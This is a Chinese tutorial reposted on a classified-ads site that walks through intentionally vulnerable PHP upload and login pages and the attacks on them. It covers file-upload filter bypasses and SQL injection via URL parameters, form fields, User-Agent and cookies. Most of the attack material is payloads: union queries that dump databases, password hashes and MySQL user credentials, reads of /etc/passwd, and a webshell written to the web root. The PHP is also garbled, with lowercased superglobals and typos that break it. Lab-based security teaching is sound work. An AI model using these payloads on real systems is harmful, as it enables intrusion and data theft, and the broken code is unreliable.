您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

非常全面!PHP常见漏洞代码总结!

2024/7/28 16:31:09发布27次查看
本篇文章给大家带来了关于php漏洞的相关知识,其中主要给大家总结介绍php的常见漏洞代码都有哪些,非常全面详细,下面一起来看一下,希望对需要的朋友有所帮助。
漏洞总结
php 文件上传漏洞
只验证mime类型: 代码中验证了上传的mime类型,绕过方式使用burp抓包,将上传的一句话小马*.php中的content-type:application/php,修改成content-type: image/png然后上传.
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");if(isset($_post['submit'])){if(file_exists(upload_path)){// 判断 content-type 的类型,如果是image/png则通过if($_files['upload_file']['type'] == 'image/png'){$temp_file = $_files['upload_file']['tmp_name'];$img_path = upload_path . '/' . $_files['upload_file']['name'];if (move_uploaded_file($temp_file, $img_path))echo "上传完成.";elseecho "上传出错.";}}}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到shell.
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");if(isset($_post['submit'])){if(file_exists(upload_path)){$allow_ext = array(".jpg",".png",".jpeg");$file_name = trim($_files['upload_file']['name']); // 取出文件名$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$data', '', $file_ext); //去除字符串::$data$file_ext = strtolower($file_ext); // 转换为小写$file_ext = trim($file_ext); // 首尾去空if(in_array($file_ext, $allow_ext)){$temp_file = $_files['upload_file']['tmp_name'];$img_path = upload_path.'/'.date("ymdhis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path))echo "上传完成: {$img_path} <br>";elseecho "上传失败 <br>";}}}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.
通常jpeg/jpg: ff d8 | png:89 50 | gif:47 49 以jpeg为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用brup抓包发送到repeater模块,将hex编码3131改为ffd8点send后成功上传jpg.
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");function getreailfiletype($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strinfo = @unpack("c2chars", $bin); $typecode = intval($strinfo['chars1'].$strinfo['chars2']); $filetype = ''; switch($typecode) { case 255216: $filetype = 'jpg'; break; case 13780: $filetype = 'png'; break; case 7173: $filetype = 'gif'; break; default: $filetype = 'unknown'; } return $filetype;}if(isset($_post['submit'])){if(file_exists(upload_path)){$temp_file = $_files['upload_file']['tmp_name']; $file_type = getreailfiletype($temp_file); if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $img_path = upload_path."/".rand(10, 99).date("ymdhis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)) echo "上传完成 <br>"; }}}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上gif89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在文件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击convert->url->url-decode编码后释放.
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");function getreailfiletype($filename){ $fh = fopen($filename, "rb"); if($fh) { $bytes = fread($fh,6); fclose($fh); if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){ return "image/jpeg"; } if($bytes == "\x89png\x0d\x0a"){ return "image/png"; } if($bytes == "gif87a" or $bytes == "gif89a"){ return "image/gif"; } } return 'unknown';}if(isset($_post['submit'])){if(file_exists(upload_path)){$temp_file = $_files['upload_file']['tmp_name']; $file_type = getreailfiletype($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_files['upload_file']['name']; $img_path = upload_path . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; }}}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.
针对这种上传方式的绕过我们可以将图片与fig文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");function getreailfiletype($filename){// 检查是否为图像if(@getimagesize($filename)){if(@imagecreatefromgif($filename)){return "image/gif";}if(@imagecreatefrompng($filename)){return "image/png";}if(@imagecreatefromjpeg($filename)){return "image/jpeg";}} return 'unknown';}if(isset($_post['submit'])){if(file_exists(upload_path)){$temp_file = $_files['upload_file']['tmp_name']; $file_type = getreailfiletype($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_files['upload_file']['name']; $img_path = upload_path . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; }}}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可
<?phpheader("content-type: text/html;charset=utf-8");define("upload_path", "./");if(isset($_post['submit'])){$ext_arr = array('jpg','png','gif'); $file_name = $_files['upload_file']['name']; $temp_file = $_files['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = upload_path . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)) { if(in_array($file_ext, $ext_arr)) { $img_path = upload_path . '/'. rand(10, 99).date("ymdhis").".".$file_ext; rename($upload_file, $img_path); echo "上传完成. <br>"; }else { unlink($upload_file); echo "上传失败. <br>"; } }}?><body><form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form></body>
php 注入漏洞
基本查询语句
搭建sql注入演练环境,首先确保mysql版本为mysql 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.
drop database if exists lyshark;create database lyshark;use lyshark;drop table if exists local_user;create table local_user(id int(10) primary key not null,username varchar(100) not null,password varchar(100) not null,usremail varchar(100) not null,usertype int(1) default 0);alert table local_user character set utf8;insert into lyshark.local_user(id,username,password,usremail) values(1,"admin",md5("123123"),"admin@163.com"),(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),(4,"dumb",md5("458322456"),"dumb@blib.com"),(5,"angelina",md5("gis92834"),"angelina@mkic.com"),(6,"dummy",md5("hiqwu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
接着安装好php7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.
<!doctype html><html><head> <meta charset="utf8"> <title>sql 注入测试代码</title></head><?phpheader("content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){ $id = $_get['id']; if(isset($id)) { $sql = "select * from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) $row = mysqli_fetch_array($query); }}?><body><table border="1"> <tr> <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th> </tr> <tr> <td><?php echo $row['id']; ?></td> <td><?php echo $row['username']; ?></td> <td><?php echo $row['password']; ?></td> <td><?php echo $row['usremail']; ?></td> <td><?php echo $row['usertype']; ?></td> </tr></table><br><?php echo '<hr><b> 后端执行sql语句: </b>' . $sql; ?></body></html>
union 查询字段个数: union可以用于一个或多个select的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.
首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.
index.php?id=1' and 1=0 union select 1,2,3,4 --+index.php?id=1' and 1=0 union select 1,2,3,4,5 --+index.php?id=1' and 1=0 union select null,null,null,null,null --+
order by查询字段个数: 在sql语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.
首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.
index.php?id=1' and 1 order by 6 --+index.php?id=1' and 1 order by 5 --+
大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.
第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.
index.php?id=1' and 0 union select null,null,null,null,null --+index.php?id=1' and 0 union select null,version(),null,null,null --+index.php?id=1' union select null,null,null,null,null limit 1,1 --+index.php?id=1' union select null,version(),null,null,null limit 1,1 --+
查全部数据库名称: mysql默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.
index.php?id=1' and 0 union select 1,1,database(),1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.
# 通过 limit 限定条件每次只输出一个表名称index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,table_namefrom information_schema.tables where table_schema='lyshark' limit 1,1 --+# 通过 concat 函数一次性输出所有表index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)from information_schema.tables where table_schema='lyshark' --+
查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.
# 查询出lyshark数据库local_user表中的,所有字段index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns> where table_schema='lyshark' and table_name='local_user' --+# 每次读取出一个表中字段,使用limit进行遍历index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns> where table_schema='lyshark' and table_name='local_user' limit 1,1 --+
查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.
index.php?id=1' and 0 union select 1,host,password,4,5 from mysql.user limit 0,1--+index.php?id=1' and 0 union select 1,host,password,4,5 from mysql.user limit 1,1--+index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.
# -----------------------------------------------------------------------------------# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.index.php?id=1' and 1=1 --+ # 提交and判断注入index.php?id=1' and 1=0 --+index.php?id=1%2b1 # 提交加号判断注入index.php?id=2-1 # 提交减号判断注入index.php?id=1 and sleep(5) # 延时判断诸如点# -----------------------------------------------------------------------------------# 判断root权限: 判断数据库是否具有root权限,如果返回了查询结果说明具有权限.index.php?id=1' and ord(mid(user(),1,1)) = 114 --+# -----------------------------------------------------------------------------------# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.index.php?id=1' and(select count(*) from mysql.user) > 0# -----------------------------------------------------------------------------------# 查询管理密码: 查询mysql的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本# -----------------------------------------------------------------------------------# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+# -----------------------------------------------------------------------------------# 利用mysql引擎写一句话: 通过使用mysql的存储引擎,以mysql身份写入一句话create table shell(cmd text);insert into shell(cmd) values('<?php @eval($_post[cmd]) ?>');select cmd from shell into outfile('/var/www/html/eval.php');# -----------------------------------------------------------------------------------# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件index.php?id=1' union select 1,1,@@datadir // 判断数据库目录index.php?id=1' union select 1,1,@@basedir // 判断安装根路径index.php?id=1' union select 1,1,@@hostname // 判断主机名index.php?id=1' union select 1,1,@@version // 判断数据库版本index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(linux)index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)index.php?id=1' union select 1,1,user() // 曝出系统用户index.php?id=1' union select 1,1,database() // 曝出当前数据库
get 注入
简单的注入测试: 本关中没有对代码进行任何的过滤.
<!doctype html><html><head> <meta charset="utf8"> <title>sql 注入测试代码</title></head><body><?phpfunction getcurrenturl(){ $scheme = $_server['request_scheme']; // 协议 $domain = $_server['http_host']; // 域名 $requesturi = $_server['request_uri']; // 请求参数 $currenturl = $scheme . "://" . $domain . $requesturi; return urldecode($currenturl);}?><?phpheader("content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){ $id = $_get['id']; if(isset($id)) { $sql = "select username,password from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row){ echo "<font size='5'>"; echo "账号: {$row['username']} <br>"; echo "密码: {$row['password']} <br>"; echo "</font>"; echo "后端执行语句: {$sql} <br>"; $url = getcurrenturl(); echo "后端url参数: {$url} <br>"; }else {echo "后端执行语句: {$sql} <br>";print_r(mysql_error());} } }}?></body></html>
sql语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.
---------------------------------------------------------------------------------$sql = "select username,password from local_user where id=$id limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1) union select 1,version() --+http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+---------------------------------------------------------------------------------$sql = "select username,password from local_user where id='$id' limit 0,1";http://127.0.0.1/index.php?id=-1 union select 1,version() --+$sql = "select username,password from local_user where id=('$id') limit 0,1";http://127.0.0.1/index.php?id=-1') union select 1,version() --+http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+$sql = "select username,password from local_user where id=(('$id')) limit 0,1";http://127.0.0.1/index.php?id=-1')) union select 1,version() --+---------------------------------------------------------------------------------$id = '"' . $id . "'";$sql = "select username,password from local_user where id=($id) limit 0,1";http://127.0.0.1/index.php?id=-1") union select 1,version() --+http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
post 输入框注入:
<!doctype html><html><head> <meta charset="utf8"></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phpheader("content-type: text/html;charset=utf8");$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$uname=$_post['uname'];$passwd=$_post['passwd'];$passwd = md5($passwd); if(isset($_post['uname']) && isset($_post['passwd'])) { $sql="select username,password from local_user where username='$uname' and password='$passwd' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } }}?></body></html>
简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.
# ---------------------------------------------------------------------------------------------------------# sql语句$sql="select username,password from local_user where username='$uname' and password='$passwd' limit 0,1";# ---------------------------------------------------------------------------------------------------------# 爆出字段数admin' order by 1 #admin' order by 2 -- admin' and 1 union select 1,2,3 #admin' and 1 union select 1,2 ## 爆出数据库admin ' and 0 union select null,database() #admin' and 0 union select 1,version() ## 爆出所有表名称(需要注意数据库编码格式)set character_set_database=utf8;set collation_database= utf8_general_cialter table local_user convert to character set utf8;' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 ## 爆出表中字段' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 ## 继续爆出所有的用户名密码' union select null,group_concat(username,0x3a,password) from local_user ## ---------------------------------------------------------------------------------------------------------# 双注入-字符型# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可$uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password from local_user where username=($uname) and password=($passwd) limit 0,1";#payloadadmin") order by 2 #admin") and 0 union select 1,version() #admin") and 0 union select 1,database() ## ---------------------------------------------------------------------------------------------------------# post型的-双注入# $uname = '"' . $uname . '"';$passwd = '"' . $passwd . '"';$sql="select username,password from local_user where username=$uname and password=$passwd limit 0,1";admin" and 0 union select 1,version() #
usage-agent 注入: usagen-agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生sql注入问题.
建库> create table user_agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));<!doctype html><html><head> <meta charset="utf8"> <title>sql 注入测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="submit" /></form><?phpheader("content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){ if(isset($_post['uname']) && isset($_post['passwd'])) {$uname=$_post['uname'];$passwd=$_post['passwd'];$passwd = md5($passwd); $sql="select username,password from local_user where username='$uname' and password='$passwd' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { // 获取到用户的agent客户请求体 $uagent = $_server['http_user_agent'];// remote_addr 是调用的底层的会话ip地址,理论上是不可以伪造的$ip = $_server['remote_addr'];echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";echo "您的ip地址是: {$ip} <br>";$insert_sql = "insert into user_agent(u_name,u_addr,u_agent) values('$uname','$ip','$uagent')";mysqli_query($connect,$insert_sql);echo "user_agent请求头: {$uagent} <br>"; } } }}?></body></html>
首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.
post /post.php http/1.1host: 192.168.1.2user-agent: mozilla/5.0 (windows nt 10.0; win64; x64; rv:79.0) gecko/20100101 firefox/79.0accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8uname=admin&passwd=123123&submit=submit
修改agent验证,可被绕过,此处的语句带入数据库变为了insert into user_agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.
user-agent: 1',1,1)#uname=admin&passwd=123123&submit=submituser-agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#uname=admin&passwd=123123&submit=submit
cookie 注入: 该注入的产生原因是因为程序员没有将cookie进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生cookie,每次页面刷新后端都会拿着这个cookie带入数据库查找,这是非常危险的.
<!doctype html><html><head> <meta charset="utf8"></head><body><form action="" method="post">账号: <input type="text" name="uname" value=""/><br>密码: <input type="password" name="passwd" value=""/><input type="submit" name="submit" value="submit" /></form><?phpheader("content-type: text/html;charset=utf8");error_reporting(0);$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){$cookee = $_cookie['uname'];if($cookee){$sql="select username,password from local_user where username='$cookee' limit 0,1";$query = mysqli_query($connect,$sql);echo "执行sql: " . $sql . "<br>";if($query){$row = mysqli_fetch_array($query);if($row){echo "<br> cookie 已登录 <br>";echo "您的账号: " . $row['username'] . "<br>";echo "您的密码: " . $row['password'] . "<br>";}}} if(isset($_post['uname']) && isset($_post['passwd'])) {$uname=$_post['uname'];$passwd=$_post['passwd'];$passwd = md5($passwd);$sql="select username,password from local_user where username='$uname' and password='$passwd' limit 0,1";$query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); $cookee = $row['username']; if($row) { setcookie('uname', $cookee, time() + 3600); $format = 'd d m y - h:i:s'; $timestamp = time() + 3600; echo "cookie已设置: " . date($format, $timestamp); } } }}?></body></html>
以下是注入payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录cookie,即可实现利用.
cookie: uname=admin' and 0 union select database(),2--+cookie: uname=admin' and 0 union select version(),2--+
update-xml注入:
<!doctype html><html><head> <meta charset="utf8"> <title>sql 注入测试代码</title></head><body><form action="" method="post">账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/><input type="submit" name="submit" value="提交表单" /></form><?phperror_reporting(0);header("content-type: text/html;charset=utf8");function check($value){if(!empty($value)){ // 如果结果不为空,则取出其前十五个字符 18$value = substr($value,0,15);}// 当magic_quotes_gpc=on的时候,函数get_magic_quotes_gpc()就会返回1// 当magic_quotes_gpc=off的时候,函数get_magic_quotes_gpc()就会返回0if(get_magic_quotes_gpc()){// 删除由 addslashes() 函数添加的反斜杠$value = stripslashes($value);}if(!ctype_digit($value)){// ctype_digit()判断是不是数字,是数字就返回true,否则返回false// mysql_real_escape_string()转义 sql 语句中使用的字符串中的特殊字符。$value = "'" . mysql_real_escape_string($value) . ".";}else$value = intval($value);return $value;}$connect = mysqli_connect("localhost","root","12345678","lyshark");if($connect){ if(isset($_post['uname']) && isset($_post['passwd'])) { $uname=check($_post['uname']);$passwd=$_post['passwd'];$passwd = md5($passwd); $sql="select username,password from local_user where username=$uname limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { $rows = $row['username']; $udate = "update local_user set password = '$passwd' where username='$rows'"; mysql_query($update); if(mysql_error()) { print_r(mysql_error()); } echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } }}?></body></html>
推荐学习:《php视频教程》
以上就是非常全面!php常见漏洞代码总结!的详细内容。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product